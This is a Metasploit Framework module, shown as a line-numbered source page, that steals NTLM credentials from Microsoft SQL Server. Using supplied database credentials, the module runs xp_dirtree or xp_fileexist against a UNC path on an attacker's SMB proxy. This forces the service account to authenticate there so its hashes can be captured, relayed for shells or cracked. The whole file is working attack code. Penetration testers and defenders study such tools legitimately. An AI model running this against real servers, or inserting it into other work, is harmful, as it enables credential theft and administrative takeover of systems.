Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL
8
include Msf::Auxiliary::Scanner
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Microsoft SQL Server NTLM Stealer',
15
'Description' => %q{
16
This module can be used to help capture or relay the LM/NTLM credentials of the
17
account running the remote SQL Server service. The module will use the supplied
18
credentials to connect to the target SQL Server instance and execute the native
19
"xp_dirtree" or "xp_fileexist" stored procedure. The stored procedures will then
20
force the service account to authenticate to the system defined in the SMBProxy
21
option. In order for the attack to be successful, the SMB capture or relay module
22
must be running on the system defined as the SMBProxy. The database account used
23
to connect to the database should only require the "PUBLIC" role to execute.
24
Successful execution of this attack usually results in local administrative access
25
to the Windows system. Specifically, this works great for relaying credentials
26
between two SQL Servers using a shared service account to get shells. However, if
27
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
28
and john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer for the
29
inspiration.
30
},
31
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>' ],
32
'License' => MSF_LICENSE,
33
'References' => [[ 'URL', 'https://en.wikipedia.org/wiki/SMBRelay' ]],
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [IOC_IN_LOGS],
37
'Reliability' => []
38
}
39
)
40
)
41
42
register_options(
43
[
44
OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
45
]
46
)
47
end
48
49
def run_host(_ip)
50
# Reminder
51
print_status('DONT FORGET to run a SMB capture or relay module!')
52
53
# Call auth_force method to execute "xp_dirtree"
54
begin
55
force_auth('xp_dirtree', datastore['SMBPROXY'])
56
return
57
rescue StandardError
58
print_error('xp_dirtree failed to initiate authentication to smbproxy.')
59
end
60
61
# Call auth_force method to execute "xp_fileexist" if "xp_dirtree" fails
62
begin
63
force_auth('xp_fileexist', datastore['SMBPROXY'])
64
rescue StandardError
65
print_error('xp_fileexist failed to initiate authentication to smbproxy.')
66
end
67
end
68
69
# Method to force sql server to authenticate
70
def force_auth(sprocedure, smbproxy)
71
print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...")
72
73
# Generate random file name
74
rand_filename = Rex::Text.rand_text_alpha(8, '')
75
76
# Setup query
77
sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'"
78
result = mssql_query(sql, false) if mssql_login_datastore
79
result[:rows]
80
print_good("Successfully executed #{sprocedure} on #{rhost}")
81
print_good('Go check your SMB relay or capture module for goodies!')
82
end
83
end
84
85